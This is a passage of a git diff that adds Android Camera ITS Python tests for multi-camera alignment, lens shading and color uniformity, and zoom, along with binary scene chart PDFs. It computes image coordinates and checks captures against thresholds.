+    caps: dict; capture information indexed by (fmt, cap_id)
+  """
+
+  logging.debug('out_surfaces: %s', str(out_surfaces))
+  if len(out_surfaces) == 3:  # do simultaneous capture
+    # Do 3A and get the values
+    s, e, _, _, fd = cam.do_3a(get_results=True, lock_ae=True, lock_awb=True)
+    if fmt == 'raw':
+      e *= 2  # brighten RAW images
+
+    req = capture_request_utils.manual_capture_request(s, e, fd)
+    _, caps[(fmt,
+             cap_camera_ids[0])], caps[(fmt,
+                                        cap_camera_ids[1])] = cam.do_capture(
+                                            req, out_surfaces)
+
+  else:  # step through cameras individually
+    for i, out_surface in enumerate(out_surfaces):
+      # Do 3A and get the values
+      s, e, _, _, fd = cam.do_3a(get_results=True,
+                                 lock_ae=True, lock_awb=True)
+      if fmt == 'raw':
+        e *= 2  # brighten RAW images
+
+      req = capture_request_utils.manual_capture_request(s, e, fd)
+      caps[(fmt, cap_camera_ids[i])] = cam.do_capture(req, out_surface)
+
+  # save images if debug
+  if debug:
+    for i in [0, 1]:
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          caps[(fmt, cap_camera_ids[i])], props=props[cap_camera_ids[i]])
+      image_processing_utils.write_image(img, '%s_%s_%s.jpg' % (
+          os.path.join(log_path, NAME), fmt, cap_camera_ids[i]))
+
+  return caps
+
+
+def undo_zoom(cap, props, circle):
+  """Correct coordinates and size of circle for zoom.
+
+  Assume that the maximum physical YUV image size is close to active array size.
+
+  Args:
+    cap: camera capture element
+    props: camera properties
+    circle: dict of circle values
+  Returns:
+    unzoomed circle dict
+  """
+  aa = props['android.sensor.info.activeArraySize']
+  aa_w = aa['right'] - aa['left']
+  aa_h = aa['bottom'] - aa['top']
+  cr = cap['metadata']['android.scaler.cropRegion']
+  cr_w = cr['right'] - cr['left']
+  cr_h = cr['bottom'] - cr['top']
+
+  # Assume pixels square after zoom. Use same zoom ratios for x and y.
+  zoom_ratio = min(aa_w / cr_w, aa_h / cr_h)
+  circle['x'] = cr['left'] + circle['x'] / zoom_ratio
+  circle['y'] = cr['top'] + circle['y'] / zoom_ratio
+  circle['r'] = circle['r'] / zoom_ratio
+
+  return circle
+
+
+def convert_to_world_coordinates(x, y, r, t, k, z_w):
+  """Convert x,y coordinates to world coordinates.
+
+  Conversion equation is:
+  A = [[x*r[2][0] - dot(k_row0, r_col0), x*r_[2][1] - dot(k_row0, r_col1)],
+       [y*r[2][0] - dot(k_row1, r_col0), y*r_[2][1] - dot(k_row1, r_col1)]]
+  b = [[z_w*dot(k_row0, r_col2) + dot(k_row0, t) - x*(r[2][2]*z_w + t[2])],
+       [z_w*dot(k_row1, r_col2) + dot(k_row1, t) - y*(r[2][2]*z_w + t[2])]]
+
+  [[x_w], [y_w]] = inv(A) * b
+
+  Args:
+    x: x location in pixel space
+    y: y location in pixel space
+    r: rotation matrix
+    t: translation matrix
+    k: intrinsic matrix
+    z_w: z distance in world space
+
+  Returns:
+    x_w:    x in meters in world space
+    y_w:    y in meters in world space
+  """
+  c_1 = r[2, 2] * z_w + t[2]
+  k_x1 = np.dot(k[0, :], r[:, 0])
+  k_x2 = np.dot(k[0, :], r[:, 1])
+  k_x3 = z_w * np.dot(k[0, :], r[:, 2]) + np.dot(k[0, :], t)
+  k_y1 = np.dot(k[1, :], r[:, 0])
+  k_y2 = np.dot(k[1, :], r[:, 1])
+  k_y3 = z_w * np.dot(k[1, :], r[:, 2]) + np.dot(k[1, :], t)
+
+  a = np.array([[x*r[2][0]-k_x1, x*r[2][1]-k_x2],
+                [y*r[2][0]-k_y1, y*r[2][1]-k_y2]])
+  b = np.array([[k_x3-x*c_1], [k_y3-y*c_1]])
+  return np.dot(np.linalg.inv(a), b)
+
+
+def convert_to_image_coordinates(p_w, r, t, k):
+  p_c = np.dot(r, p_w) + t
+  p_h = np.dot(k, p_c)
+  return p_h[0] / p_h[2], p_h[1] / p_h[2]
+
+
+def define_reference_camera(pose_reference, cam_reference):
+  """Determine the reference camera.
+
+  Args:
+    pose_reference: 0 for cameras, 1 for gyro
+    cam_reference: dict with key of physical camera and value True/False
+  Returns:
+    i_ref: physical id of reference camera
+    i_2nd: physical id of secondary camera
+  """
+
+  if pose_reference == REFERENCE_GYRO:
+    logging.debug('pose_reference is GYRO')
+    i_ref = list(cam_reference.keys())[0]  # pick first camera as ref
+    i_2nd = list(cam_reference.keys())[1]
+  else:
+    logging.debug('pose_reference is CAMERA')
+    i_ref = next(k for (k, v) in cam_reference.items() if v)
+    i_2nd = next(k for (k, v) in cam_reference.items() if not v)
+  return i_ref, i_2nd
+
+
+class MultiCameraAlignmentTest(its_base_test.ItsBaseTest):
+
+  """Test the multi camera system parameters related to camera spacing.
+
+  Using the multi-camera physical cameras, take a picture of scene4
+  (a black circle and surrounding square on a white background) with
+  one of the physical cameras. Then find the circle center and radius. Using
+  the parameters:
+      android.lens.poseReference
+      android.lens.poseTranslation
+      android.lens.poseRotation
+      android.lens.instrinsicCalibration
+      android.lens.distortion (if available)
+  project the circle center to the world coordinates for each camera.
+  Compare the difference between the two cameras' circle centers in
+  world coordinates.
+
+  Reproject the world coordinates back to pixel coordinates and compare
+  against originals as a correctness check.
+
+  Compare the circle sizes if the focal lengths of the cameras are
+  different using
+      android.lens.availableFocalLengths.
+  """
+
+  def test_multi_camera_alignment(self):
+    # capture images
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      log_path = self.log_path
+      chart_distance = self.chart_distance * CM_TO_M
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.logical_multi_camera(props) and
+          camera_properties_utils.backward_compatible(props))
+
+      # load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      debug = self.debug_mode
+      pose_reference = props['android.lens.poseReference']
+
+      # Convert chart_distance for lens facing back
+      if props['android.lens.facing'] == LENS_FACING_BACK:
+        # API spec defines +z is pointing out from screen
+        logging.debug('lens facing BACK')
+        chart_distance *= -1
+
+      # find physical camera IDs
+      ids = camera_properties_utils.logical_multi_camera_physical_ids(props)
+      physical_props = {}
+      physical_ids = []
+      physical_raw_ids = []
+      for i in ids:
+        physical_props[i] = cam.get_camera_properties_by_id(i)
+        if physical_props[i][
+            'android.lens.poseReference'] == REFERENCE_UNDEFINED:
+          continue
+        # find YUV+RGB capable physical cameras
+        if (camera_properties_utils.backward_compatible(physical_props[i]) and
+            not camera_properties_utils.mono_camera(physical_props[i])):
+          physical_ids.append(i)
+        # find RAW+RGB capable physical cameras
+        if (camera_properties_utils.backward_compatible(physical_props[i]) and
+            not camera_properties_utils.mono_camera(physical_props[i]) and
+            camera_properties_utils.raw16(physical_props[i])):
+          physical_raw_ids.append(i)
+
+      # determine formats and select cameras
+      fmts = ['yuv']
+      if len(physical_raw_ids) >= 2:
+        fmts.insert(0, 'raw')  # add RAW to analysis if enough cameras
+        logging.debug('Selecting RAW+RGB supported cameras')
+        physical_raw_ids = select_ids_to_test(physical_raw_ids, physical_props,
+                                              chart_distance)
+      logging.debug('Selecting YUV+RGB cameras')
+      camera_properties_utils.skip_unless(len(physical_ids) >= 2)
+      physical_ids = select_ids_to_test(physical_ids, physical_props,
+                                        chart_distance)
+
+      # do captures for valid formats
+      caps = {}
+      for i, fmt in enumerate(fmts):
+        physical_sizes = {}
+        capture_cam_ids = physical_ids
+        fmt_code = FMT_CODE_YUV
+        if fmt == 'raw':
+          capture_cam_ids = physical_raw_ids
+          fmt_code = FMT_CODE_RAW
+        for physical_id in capture_cam_ids:
+          configs = physical_props[physical_id][
+              'android.scaler.streamConfigurationMap'][
+                  'availableStreamConfigurations']
+          fmt_configs = [cfg for cfg in configs if cfg['format'] == fmt_code]
+          out_configs = [cfg for cfg in fmt_configs if not cfg['input']]
+          out_sizes = [(cfg['width'], cfg['height']) for cfg in out_configs]
+          physical_sizes[physical_id] = max(out_sizes, key=lambda item: item[1])
+
+        out_surfaces = determine_valid_out_surfaces(
+            cam, props, fmt, capture_cam_ids, physical_sizes)
+        caps = take_images(cam, caps, physical_props, fmt, capture_cam_ids,
+                           out_surfaces, log_path, debug)
+
+    # process images for correctness
+    for j, fmt in enumerate(fmts):
+      size = {}
+      k = {}
+      cam_reference = {}
+      r = {}
+      t = {}
+      circle = {}
+      fl = {}
+      sensor_diag = {}
+      pixel_sizes = {}
+      capture_cam_ids = physical_ids
+      if fmt == 'raw':
+        capture_cam_ids = physical_raw_ids
+      logging.debug('Format: %s', str(fmt))
+      for i in capture_cam_ids:
+        # convert cap and prep image
+        img_name = '%s_%s_%s.jpg' % (os.path.join(log_path, NAME), fmt, i)
+        img = convert_cap_and_prep_img(
+            caps[(fmt, i)], physical_props[i], fmt, img_name, debug)
+        size[i] = (caps[fmt, i]['width'], caps[fmt, i]['height'])
+
+        # load parameters for each physical camera
+        if j == 0:
+          logging.debug('Camera %s', i)
+        k[i] = camera_properties_utils.get_intrinsic_calibration(
+            physical_props[i], j == 0)
+        r[i] = camera_properties_utils.get_rotation_matrix(
+            physical_props[i], j == 0)
+        t[i] = camera_properties_utils.get_translation_matrix(
+            physical_props[i], j == 0)
+
+        # API spec defines poseTranslation as the world coordinate p_w_cam of
+        # optics center. When applying [R|t] to go from world coordinates to
+        # camera coordinates, we need -R*p_w_cam of the coordinate reported in
+        # metadata.
+        # ie. for a camera with optical center at world coordinate (5, 4, 3)
+        # and identity rotation, to convert a world coordinate into the
+        # camera's coordinate, we need a translation vector of [-5, -4, -3]
+        # so that: [I|[-5, -4, -3]^T] * [5, 4, 3]^T = [0,0,0]^T
+        t[i] = -1.0 * np.dot(r[i], t[i])
+        if debug and j == 1:
+          logging.debug('t: %s', str(t[i]))
+          logging.debug('r: %s', str(r[i]))
+
+        if (t[i] == TRANS_MATRIX_REF).all():
+          cam_reference[i] = True
+        else:
+          cam_reference[i] = False
+
+        # Correct lens distortion to image (if available) and save before/after
+        if (camera_properties_utils.distortion_correction(physical_props[i]) and
+            camera_properties_utils.intrinsic_calibration(physical_props[i]) and
+            fmt == 'raw'):
+          cv2_distort = camera_properties_utils.get_distortion_matrix(
+              physical_props[i])
+          image_processing_utils.write_image(img/255, '%s_%s_%s.jpg' % (
+              os.path.join(log_path, NAME), fmt, i))
+          img = cv2.undistort(img, k[i], cv2_distort)
+          image_processing_utils.write_image(img/255, '%s_%s_correct_%s.jpg' % (
+              os.path.join(log_path, NAME), fmt, i))
+
+        # Find the circles in grayscale image
+        circle[i] = cv2_image_processing_utils.find_circle(
+            img, '%s_%s_gray_%s.jpg' % (os.path.join(log_path, NAME), fmt, i),
+            CIRCLE_MIN_AREA, CIRCLE_COLOR)
+        logging.debug('Circle radius %s:  %.2f', format(i), circle[i]['r'])
+
+        # Undo zoom to image (if applicable).
+        if fmt == 'yuv':
+          circle[i] = undo_zoom(caps[(fmt, i)], physical_props[i], circle[i])
+
+        # Find focal length, pixel & sensor size
+        fl[i] = physical_props[i]['android.lens.info.availableFocalLengths'][0]
+        pixel_sizes[i] = calc_pixel_size(physical_props[i])
+        sensor_diag[i] = math.sqrt(size[i][0] ** 2 + size[i][1] ** 2)
+
+      i_ref, i_2nd = define_reference_camera(pose_reference, cam_reference)
+      logging.debug('reference camera: %s, secondary camera: %s', i_ref, i_2nd)
+
+      # Convert circle centers to real world coordinates
+      x_w = {}
+      y_w = {}
+      for i in [i_ref, i_2nd]:
+        x_w[i], y_w[i] = convert_to_world_coordinates(
+            circle[i]['x'], circle[i]['y'], r[i], t[i], k[i], chart_distance)
+
+      # Back convert to image coordinates for correctness check
+      x_p = {}
+      y_p = {}
+      x_p[i_2nd], y_p[i_2nd] = convert_to_image_coordinates(
+          [x_w[i_ref], y_w[i_ref], chart_distance], r[i_2nd], t[i_2nd],
+          k[i_2nd])
+      x_p[i_ref], y_p[i_ref] = convert_to_image_coordinates(
+          [x_w[i_2nd], y_w[i_2nd], chart_distance], r[i_ref], t[i_ref],
+          k[i_ref])
+
+      # Summarize results
+      for i in [i_ref, i_2nd]:
+        logging.debug(' Camera: %s', i)
+        logging.debug(' x, y (pixels): %.1f, %.1f', circle[i]['x'],
+                      circle[i]['y'])
+        logging.debug(' x_w, y_w (mm): %.2f, %.2f', x_w[i] * 1.0E3,
+                      y_w[i] * 1.0E3)
+        logging.debug(' x_p, y_p (pixels): %.1f, %.1f', x_p[i], y_p[i])
+
+      # Check center locations
+      err = np.linalg.norm(np.array([x_w[i_ref], y_w[i_ref]]) -
+                           np.array([x_w[i_2nd], y_w[i_2nd]]))
+      logging.debug('Center location err (mm): %.2f', err*M_TO_MM)
+      msg = 'Center locations %s <-> %s too different!' % (i_ref, i_2nd)
+      msg += ' val=%.2fmm, THRESH=%.fmm' % (err*M_TO_MM, ALIGN_TOL_MM)
+      assert err < ALIGN_TOL, msg
+
+      # Check projections back into pixel space
+      for i in [i_ref, i_2nd]:
+        err = np.linalg.norm(np.array([circle[i]['x'], circle[i]['y']]) -
+                             np.array([x_p[i], y_p[i]]))
+        logging.debug('Camera %s projection error (pixels): %.1f', i, err)
+        tol = ALIGN_TOL * sensor_diag[i]
+        msg = 'Camera %s project locations too different!' % i
+        msg += ' diff=%.2f, TOL=%.2f' % (err, tol)
+        assert err < tol, msg
+
+      # Check focal length and circle size if more than 1 focal length
+      if len(fl) > 1:
+        logging.debug('Circle radii (pixels); ref: %.1f, 2nd: %.1f',
+                      circle[i_ref]['r'], circle[i_2nd]['r'])
+        logging.debug('Focal lengths (diopters); ref: %.2f, 2nd: %.2f',
+                      fl[i_ref], fl[i_2nd])
+        logging.debug('Pixel size (um); ref: %.2f, 2nd: %.2f',
+                      pixel_sizes[i_ref], pixel_sizes[i_2nd])
+        msg = 'Circle size scales improperly! RTOL=%.1f\n' % CIRCLE_RTOL
+        msg += 'Metric: radius/focal_length*sensor_diag should be equal.'
+        assert np.isclose(circle[i_ref]['r']*pixel_sizes[i_ref]/fl[i_ref],
+                          circle[i_2nd]['r']*pixel_sizes[i_2nd]/fl[i_2nd],
+                          rtol=CIRCLE_RTOL), msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene5/test_lens_shading_and_color_uniformity.py b/apps/CameraITS2.0/tests/scene5/test_lens_shading_and_color_uniformity.py
new file mode 100644
index 0000000..2623b10
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene5/test_lens_shading_and_color_uniformity.py
@@ -0,0 +1,297 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import math
+import os.path
+
+from mobly import test_runner
+import numpy
+
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_NAME = os.path.basename(__file__).split('.')[0]
+_NSEC_TO_MSEC = 1E-6
+
+# List to create NUM-1 blocks around the center block for sampling grid in image
+_NUM_RADIUS = 8
+_BLOCK_R = 1/2/(_NUM_RADIUS*2-1)  # 'radius' of block (x/2 & y/2 in rel values)
+_BLOCK_POSITION_LIST = numpy.arange(_BLOCK_R, 1/2, _BLOCK_R*2)
+
+# Thresholds for PASS/FAIL
+_THRESH_SHADING_CT = 0.9  # len shading allowance for center
+_THRESH_SHADING_CN = 0.6  # len shading allowance for corner
+_THRESH_SHADING_HIGH = 0.2  # max allowed % for patch to be brighter than center
+_THRESH_UNIFORMITY = 0.2  # uniformity allowance
+
+# cv2 drawing colors
+_CV2_RED = (1, 0, 0)   # blocks failed the test
+_CV2_GREEN = (0, 0.7, 0.3)   # blocks passed the test
+
+
+def _calc_block_lens_shading_thresh_l(
+    block_center_x, block_center_y, center_luma, img_w, img_h, dist_max):
+  dist_to_img_center = math.sqrt(pow(abs(block_center_x-0.5)*img_w, 2) +
+                                 pow(abs(block_center_y-0.5)*img_h, 2))
+  return ((_THRESH_SHADING_CT - _THRESH_SHADING_CN) *
+          (1 - dist_to_img_center/dist_max) + _THRESH_SHADING_CN) * center_luma
+
+
+def _calc_color_plane_ratios(img_rgb):
+  """Calculate R/G and B/G ratios."""
+  img_g_plus_delta = img_rgb[:, :, 1] + 0.001  # in case G channel has 0 value.
+  img_r_g = img_rgb[:, :, 0] / img_g_plus_delta
+  img_b_g = img_rgb[:, :, 2] / img_g_plus_delta
+  return img_r_g, img_b_g
+
+
+def _create_block_center_vals(block_center):
+  """Create lists of x and y values for sub-block centers."""
+  num_sample = int(numpy.asscalar((1-block_center*2)/_BLOCK_R/2 + 1))
+  center_xs = numpy.concatenate(
+      (numpy.arange(block_center, 1-block_center+_BLOCK_R, _BLOCK_R*2),
+       block_center*numpy.ones((num_sample-1)),
+       (1-block_center)*numpy.ones((num_sample-1)),
+       numpy.arange(block_center, 1-block_center+_BLOCK_R, _BLOCK_R*2)))
+  center_ys = numpy.concatenate(
+      (block_center*numpy.ones(num_sample+1),
+       numpy.arange(block_center+_BLOCK_R*2, 1-block_center, _BLOCK_R*2),
+       numpy.arange(block_center+_BLOCK_R*2, 1-block_center, _BLOCK_R*2),
+       (1-block_center)*numpy.ones(num_sample+1)))
+  return zip(center_xs, center_ys)
+
+
+def _assert_results(ls_test_failed, cu_test_failed, center_luma, ls_thresh_h):
+  """Check the lens shading and color uniformity results."""
+  if ls_test_failed:
+    logging.error('Lens shading test summary')
+    logging.error('Center block average Y value: %.3f', center_luma)
+    logging.error('Blocks failed in the lens shading test:')
+    for block in ls_test_failed:
+      top, bottom, left, right = block['position']
+      logging.error('Block[top: %d, bottom: %d, left: %d, right: %d]; '
+                    'avg Y value: %.3f; valid range: %.3f ~ %.3f', top, bottom,
+                    left, right, block['val'], block['thresh_l'], ls_thresh_h)
+  if cu_test_failed:
+    logging.error('Color uniformity test summary')
+    logging.error('Valid color uniformity range: 0 ~ %.2f', _THRESH_UNIFORMITY)
+    logging.error('Areas that failed the color uniformity test:')
+    for rd in cu_test_failed:
+      logging.error('Radius position: %.3f; R/G uniformity: %.3f; B/G '
+                    'uniformity: %.3f', rd['position'], rd['uniformity_r_g'],
+                    rd['uniformity_b_g'])
+  if ls_test_failed:
+    raise AssertionError('Lens shading test failed.')
+  if cu_test_failed:
+    raise AssertionError('Color uniformity test failed.')
+
+
+def _draw_legend(img, texts, text_org, font_scale, text_offset, color,
+                 line_width):
+  """Draw legend on an image.
+
+  Args:
+    img: Numpy float image array in RGB, with pixel values in [0,1].
+    texts: List of legends. Each element in the list is a line of legend.
+    text_org: Tuple of the bottom left corner of the text position in
+              pixels, horizontal and vertical.
+    font_scale: Float number. Font scale of the basic font size.
+    text_offset: Text line width in pixels.
+    color: Text color in rgb value.
+    line_width: Text line width in pixels.
+  """
+  for text in texts:
+    cv2.putText(img, text, (text_org[0], text_org[1]),
+                cv2.FONT_HERSHEY_SIMPLEX, font_scale, color, line_width)
+    text_org[1] += text_offset
+
+
+class LensShadingAndColorUniformityTest(its_base_test.ItsBaseTest):
+  """Test lens shading correction and uniform scene is evenly distributed.
+
+  Test runs with a diffuser (manually) placed in front of the camera.
+  Performs this test on a YUV frame with auto 3A. Lens shading is evaluated
+  based on the Y channel. Measure the average Y value for each sample block
+  specified, and then determine PASS/FAIL by comparing with the center Y value.
+
+  Evaluates the color uniformity in R/G and B/G color space. At specified
+  radius of the image, the variance of R/G and B/G values need to be less than
+  a threshold in order to pass the test.
+  """
+
+  def test_lens_shading_and_color_uniformity(self):
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Check SKIP conditions.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.ae_lock(props) and
+          camera_properties_utils.awb_lock(props))
+
+      if camera_properties_utils.read_3a(props):
+        # Converge 3A and get the estimates.
+        sens, exp, awb_gains, awb_xform, focus = cam.do_3a(
+            get_results=True, do_af=False, lock_ae=True, lock_awb=True)
+        logging.debug('AE sensitivity: %d, exp: %dms', sens, exp*_NSEC_TO_MSEC)
+        logging.debug('AWB gains: %s', str(awb_gains))
+        logging.debug('AWB transform: %s', str(awb_xform))
+        logging.debug('AF distance: %.2f', focus)
+
+      req = capture_request_utils.auto_capture_request()
+      w, h = capture_request_utils.get_available_output_sizes('yuv', props)[0]
+      out_surface = {'format': 'yuv', 'width': w, 'height': h}
+      cap = cam.do_capture(req, out_surface)
+      logging.debug('Captured YUV %dx%d', w, h)
+      # Get Y channel
+      img_y = image_processing_utils.convert_capture_to_planes(cap)[0]
+      image_processing_utils.write_image(img_y, '%s_y_plane.png' %
+                                         (os.path.join(log_path, _NAME)), True)
+      # Convert RGB image & calculate R/G, R/B ratioed images
+      img_rgb = image_processing_utils.convert_capture_to_rgb_image(cap)
+      img_r_g, img_b_g = _calc_color_plane_ratios(img_rgb)
+
+      # Make copies for images with legends and set legend parameters.
+      img_lens_shading = numpy.copy(img_rgb)
+      img_uniformity = numpy.copy(img_rgb)
+      line_width = max(2, int(max(h, w)/500))  # line width of legend
+      font_scale = line_width / 7.0   # font scale of the basic font size
+      font_line_width = int(line_width/2)
+      text_height = cv2.getTextSize('gf', cv2.FONT_HERSHEY_SIMPLEX,
+                                    font_scale, line_width)[0][1]
+      text_offset = int(text_height*1.5)
+
+      # Calculate center block average Y, R/G, and B/G values.
+      top = int((0.5-_BLOCK_R)*h)
+      bottom = int((0.5+_BLOCK_R)*h)
+      left = int((0.5-_BLOCK_R)*w)
+      right = int((0.5+_BLOCK_R)*w)
+      center_luma = numpy.mean(img_y[top:bottom, left:right])
+      center_r_g = numpy.mean(img_r_g[top:bottom, left:right])
+      center_b_g = numpy.mean(img_b_g[top:bottom, left:right])
+
+      # Add center patch legend to lens shading and color uniformity images
+      cv2.rectangle(img_lens_shading, (left, top), (right, bottom), _CV2_GREEN,
+                    line_width)
+      _draw_legend(img_lens_shading, [f'Y: {center_luma}:.2f'],
+                   [left+text_offset, bottom-text_offset],
+                   font_scale, text_offset, _CV2_GREEN, font_line_width)
+
+      cv2.rectangle(img_uniformity, (left, top), (right, bottom), _CV2_GREEN,
+                    line_width)
+      _draw_legend(img_uniformity,
+                   [f'R/G: {center_r_g}:.2f', f'B/G: {center_b_g}:.2f'],
+                   [left+text_offset, bottom-text_offset*2],
+                   font_scale, text_offset, _CV2_GREEN, font_line_width)
+
+      # Evaluate Y, R/G, and B/G for each block
+      ls_test_failed = []
+      cu_test_failed = []
+      ls_thresh_h = center_luma * (1 + _THRESH_SHADING_HIGH)
+      dist_max = math.sqrt(pow(w, 2)+pow(h, 2))/2
+      for position in _BLOCK_POSITION_LIST:
+        # Create sample block centers' positions in all directions around center
+        block_centers = _create_block_center_vals(position)
+
+        blocks_info = []
+        max_r_g = 0
+        min_r_g = float('inf')
+        max_b_g = 0
+        min_b_g = float('inf')
+        for block_center_x, block_center_y in block_centers:
+          top = int((block_center_y-_BLOCK_R)*h)
+          bottom = int((block_center_y+_BLOCK_R)*h)
+          left = int((block_center_x-_BLOCK_R)*w)
+          right = int((block_center_x+_BLOCK_R)*w)
+
+          # Compute block average values and running mins and maxes
+          block_y = numpy.mean(img_y[top:bottom, left:right])
+          block_r_g = numpy.mean(img_r_g[top:bottom, left:right])
+          block_b_g = numpy.mean(img_b_g[top:bottom, left:right])
+          max_r_g = max(max_r_g, block_r_g)
+          min_r_g = min(min_r_g, block_r_g)
+          max_b_g = max(max_b_g, block_b_g)
+          min_b_g = min(min_b_g, block_b_g)
+          blocks_info.append({'position': [top, bottom, left, right],
+                              'block_r_g': block_r_g,
+                              'block_b_g': block_b_g})
+          # Check lens shading
+          ls_thresh_l = _calc_block_lens_shading_thresh_l(
+              block_center_x, block_center_y, center_luma, w, h, dist_max)
+
+          if not ls_thresh_h > block_y > ls_thresh_l:
+            ls_test_failed.append({'position': [top, bottom, left, right],
+                                   'val': block_y,
+                                   'thresh_l': ls_thresh_l})
+            legend_color = _CV2_RED
+          else:
+            legend_color = _CV2_GREEN
+
+          # Overlay legend rectangle on lens shading image.
+          text_bottom = bottom - text_offset
+          cv2.rectangle(img_lens_shading, (left, top), (right, bottom),
+                        legend_color, line_width)
+          _draw_legend(img_lens_shading, ['Y: %.2f' % block_y],
+                       [left+text_offset, text_bottom], font_scale,
+                       text_offset, legend_color, int(line_width/2))
+
+        # Check color uniformity
+        uniformity_r_g = (max_r_g-min_r_g) / center_r_g
+        uniformity_b_g = (max_b_g-min_b_g) / center_b_g
+        if (uniformity_r_g > _THRESH_UNIFORMITY or
+            uniformity_b_g > _THRESH_UNIFORMITY):
+          cu_test_failed.append({'position': position,
+                                 'uniformity_r_g': uniformity_r_g,
+                                 'uniformity_b_g': uniformity_b_g})
+          legend_color = _CV2_RED
+        else:
+          legend_color = _CV2_GREEN
+
+        # Overlay legend blocks on uniformity image based on PASS/FAIL above.
+        for block in blocks_info:
+          top, bottom, left, right = block['position']
+          cv2.rectangle(img_uniformity, (left, top), (right, bottom),
+                        legend_color, line_width)
+          texts = ['R/G: %.2f' % block['block_r_g'],
+                   'B/G: %.2f' % block['block_b_g']]
+          text_bottom = bottom - text_offset * 2
+          _draw_legend(img_uniformity, texts,
+                       [left+text_offset, text_bottom], font_scale,
+                       text_offset, legend_color, font_line_width)
+
+      # Save images
+      image_processing_utils.write_image(
+          img_uniformity, '%s_color_uniformity_result.png' %
+          (os.path.join(log_path, _NAME)), True)
+      image_processing_utils.write_image(
+          img_lens_shading, '%s_lens_shading_result.png' %
+          (os.path.join(log_path, _NAME)), True)
+
+      # Assert results
+      _assert_results(ls_test_failed, cu_test_failed, center_luma, ls_thresh_h)
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene6/scene6.pdf b/apps/CameraITS2.0/tests/scene6/scene6.pdf
new file mode 100644
index 0000000..62381b5
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene6/scene6.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene6/scene6_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene6/scene6_0.5x_scaled.pdf
new file mode 100644
index 0000000..3fd1b9e
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene6/scene6_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene6/scene6_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene6/scene6_0.67x_scaled.pdf
new file mode 100644
index 0000000..4aedccc
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene6/scene6_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene6/test_zoom.py b/apps/CameraITS2.0/tests/scene6/test_zoom.py
new file mode 100644
index 0000000..25c5bf3
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene6/test_zoom.py
@@ -0,0 +1,243 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import math
+import os.path
+from mobly import test_runner
+import numpy as np
+
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import image_processing_utils
+import its_session_utils
+
+CIRCLE_COLOR = 0  # [0: black, 255: white]
+CIRCLE_TOL = 0.05  # contour area vs ideal circle area pi*((w+h)/4)**2
+LINE_COLOR = (255, 0, 0)  # red
+LINE_THICKNESS = 5
+MIN_AREA_RATIO = 0.00015  # based on 2000/(4000x3000) pixels
+MIN_CIRCLE_PTS = 25
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_STEPS = 10
+OFFSET_RTOL = 0.15
+RADIUS_RTOL = 0.10
+ZOOM_MAX_THRESH = 10.0
+ZOOM_MIN_THRESH = 2.0
+
+
+def distance(x, y):
+  return math.sqrt(x**2 + y**2)
+
+
+def circle_cropped(circle, size):
+  """Determine if a circle is cropped by edge of img.
+
+  Args:
+    circle:  list [x, y, radius] of circle
+    size:    tuple (x, y) of size of img
+
+  Returns:
+    Boolean True if selected circle is cropped
+  """
+
+  cropped = False
+  circle_x, circle_y = circle[0], circle[1]
+  circle_r = circle[2]
+  x_min, x_max = circle_x - circle_r, circle_x + circle_r
+  y_min, y_max = circle_y - circle_r, circle_y + circle_r
+  if x_min < 0 or y_min < 0 or x_max > size[0] or y_max > size[1]:
+    cropped = True
+  return cropped
+
+
+def find_center_circle(img, img_name, color, min_area, debug):
+  """Find the circle closest to the center of the image.
+
+  Finds all contours in the image. Rejects those too small and not enough
+  points to qualify as a circle. The remaining contours must have center
+  point of color=color and are sorted based on distance from the center
+  of the image. The contour closest to the center of the image is returned.
+
+  Note: hierarchy is not used as the hierarchy for black circles changes
+  as the zoom level changes.
+
+  Args:
+    img:       numpy img array with pixel values in [0,255].
+    img_name:  str file name for saved image
+    color:     int 0 --> black, 255 --> white
+    min_area:  int minimum area of circles to screen out
+    debug:     bool to save extra data
+
+  Returns:
